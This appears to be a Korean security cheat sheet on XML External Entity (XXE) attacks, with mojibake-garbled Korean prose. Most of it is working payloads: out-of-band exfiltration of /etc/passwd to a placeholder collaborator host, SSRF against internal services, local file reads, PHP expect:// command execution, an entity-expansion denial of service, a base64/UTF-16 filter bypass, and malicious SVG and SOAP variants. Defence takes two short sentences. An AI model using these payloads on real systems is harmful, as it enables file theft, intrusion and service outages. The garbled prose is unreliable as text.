๐ Introduction
XXE(XML External Entity)๋ XML์ Parsingํ์ฌ ์ฌ์ฉํ๋ ์๋น์ค์ ์
์์ ์ธ XML ๊ตฌ๋ฌธ์ Parsingํ๋๋ก ์ ๋ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋์์ ์ํํ๋๋ก ํ๋ ๊ณต๊ฒฉ์
๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก XML Parser๊ฐ ์์นํ ๊ณณ์์ ๋ถํฐ ์ํฅ๋ ฅ์ด ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ๊ฐ๋ณ๊ฒ๋ SSRF ๊ฐ์ด ๋ด๋ถ๋ง ์ ๊ทผ๋ถํฐ, RCE๊น์ง ํฐ ์ํฅ๋ ฅ์ ๊ฐ์ง ์ ์์ต๋๋ค.
๐ก Offensive techniques
Detect
์ฌํํ๊ฒ XML Parse๊ฐ ๋์ํ๋ ๊ตฌ๊ฐ์ ์ฐพ์์ผํฉ๋๋ค. ์์ค์ฝ๋๋ฅผ ๋ณผ ์ ์๋ ์ํฉ์ด๋ผ๋ฉด ์ฝ๋์์ ๊ฒ์ํ๋ ๊ฒ์ด ๊ฐ์ฅ ๋น ๋ฅด๊ณ ํจ์จ์ ์ด๋ฉฐ, ์์ค์ฝ๋ ์์ด ์์ํ๊ฒ ๋์๋ง์ผ๋ก๋ง ๋ด์ผํ๋ค๋ฉด .xml ํ์ผ์ ์ธ์๊ฐ์ผ๋ก ๋ฐ๊ฑฐ๋, ์๋ฌ์์ XML Parsing ๊ด๋ จ ์๋ฌ๋ฅผ ๋ฑ๋ ๊ตฌ๊ฐ์ ์์ฃผ๋ก ์ ๊ฒํด์ผํฉ๋๋ค.
์๋์ ๊ฐ์ด ๋์ ๋๊ฒ xml ํํ๋ฅผ ์ฒ๋ฆฌํ ๊ฒ์ผ๋ก ๋ณด์ด๋ ๊ตฌ๊ฐ์ด XXE๊ฐ ์กด์ฌํ ๊ฐ๋ฅ์ฑ์ด ๋์ ๋ถ๋ถ์
๋๋ค.
1
|
GET /readRss?url=https://rss_service/feeds.xml
|
์ด ๋ ์ฐ๋ฆฌ๋ XXE ๊ตฌ๋ฌธ์ด ํฌํจ๋ ํ์ผ์ ์๋น์ค์ XML Parser๊ฐ ์ฝ๊ณ ๋ถ์ํ๋๋ก ํ์ฌ XXE๋ฅผ ์ ๋ ํ ์ ์์ต๋๋ค. ๋ง์ฝ ์ readRss ๋ ํ์ด์ง๊ฐ XML์ ์ฝ์ด ์ฌ์ฉ์์๊ฒ ๋ณด์ฌ์ฃผ๋ ๊ธฐ๋ฅ์ ๊ฐ์ก๋ค๋ฉด, ์๋์ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ผ๋ก XXE ์ฌ๋ถ๋ฅผ ์ฒดํฌํ ์ ์์ต๋๋ค.
1
2
3
4
5
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "https://your_oast_domain" >]>
<foo>&xxe;</foo>
|
์ ๊ตฌ๋ฌธ์ด Parsing๋๋ฉด ์๋น์ค๋ XML ๊ตฌ๋ฌธ์ ๋ฐ๋ผ์ ์น ์์ฒญ์ ๋ฐ์์ํค๊ธฐ ์ํด oast_domain์ผ๋ก ์ ๊ทผํ๊ฒ ๋ฉ๋๋ค. ์ฐ๋ฆฌ๋ ์ด๋ ๋ฐ์ํ๋ HTTP Request์ DNS Qeury๋ฅผ ๊ฐ์ง๊ณ ์๋ณํ๋ฉด ๋ฉ๋๋ค. ์ด๋ ๊ฒ OAST, OOB ๊ธฐ๋ฐ์ผ๋ก ์๋ณํ๋ ๋ฐฉ๋ฒ์ด ๊ฐ์ฅ ์ฌ๋ฌ ์ผ์ด์ค์์ ํ์ธํ ์ ์๋ ์ข์ ๋ฐฉ๋ฒ์
๋๋ค. (Blind XXE๋ ์ธก์ ํ ์ ์์ฃ )
๋ํ์ ์ธ OAST ์๋น์ค & ๋๊ตฌ๋ ์๋์ ๊ฐ์ต๋๋ค.
- Burpsuite: burpcollaborator.net
- ZAP: odiss.eu (OAST)
- Interactsh
๋ค๋ง public oast ์๋น์ค๋ 2021๋
log4j ์ฌํ ์ดํ๋ก ๋ง์ ์๋น์ค๋ค์์ ์ฐจ๋จ์ ํ๊ณ ์์ด์ ์ง์ privateํ oast ์๋น์ค๋ฅผ ๊ตฌ์ฑํ์ฌ ํ
์คํธํ์๋ ๊ฒ์ ์ถ์ฒํฉ๋๋ค.
๋ง์ฝ XML Parsing์ ๊ฒฐ๊ณผ๊ฐ ๋ฆฌํด๋๋ค๋ฉด ๋จ์ํ๊ฒ DTD ์ฌ์ฉ์ ์ฒดํฌํ๋ ๊ฒ๋ ์ข์ต๋๋ค.
1
2
3
4
5
6
|
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
|
Exploitation
Leak data with OOB
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "https://your_oast_service/?%xxe;">
]
>
<foo>&callhome;</foo>
|
SSRF
1
2
3
4
5
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>
|
LFI
Linux
1
2
3
4
5
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
|
Windows
1
2
3
4
5
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
|
RCE (PHP)
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
|
DOS
1
2
3
4
5
6
7
8
|
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
|
Bypass protection
Using Base64
1
|
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
Using UTF-16
1
|
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
|
XXE in X
in SVG
1
2
3
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
|
1
2
3
4
5
|
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
|
xxe.svg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>
|
in SOAP
1
2
3
4
5
|
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
|
in OXML (Office)
1
2
3
4
5
6
|
/_rels/.rels
[Content_Types].xml
Default Main Document Part
/word/document.xml
/ppt/presentation.xml
/xl/workbook.xml
|
in XLSX
OXML๊ณผ ๋์ผํฉ๋๋ค.
๐ก Defensive techniques
XML Parsing ์ DTD๋ฅผ ํ์ฉํ์ง ์๋๋ก ์ ํํ๋ ํํ๋ก ๋์ํ ์ ์์ต๋๋ค. ๊ฐ ์ธ์ด, Framework ๋ฑ DTD๋ฅผ ์ ํํ๋ ๋ฐฉ๋ฒ์ ๋ค๋ฅด๋ ์๋ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๋ํ XML Parsing ๋จ๊ณ๊ฐ ๊ตณ์ด ์ธ๋ถ์ ๋
ธ์ถ๋ ํ์๊ฐ ์๋ค๋ฉด ์์ ํ๊ฒ ๋ด๋ถ์์๋ง ์ฒ๋ฆฌํ๋๋ก ๋ณ๊ฒฝํ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ ์ค ํ๋์
๋๋ค.
๐ Articles
๐ References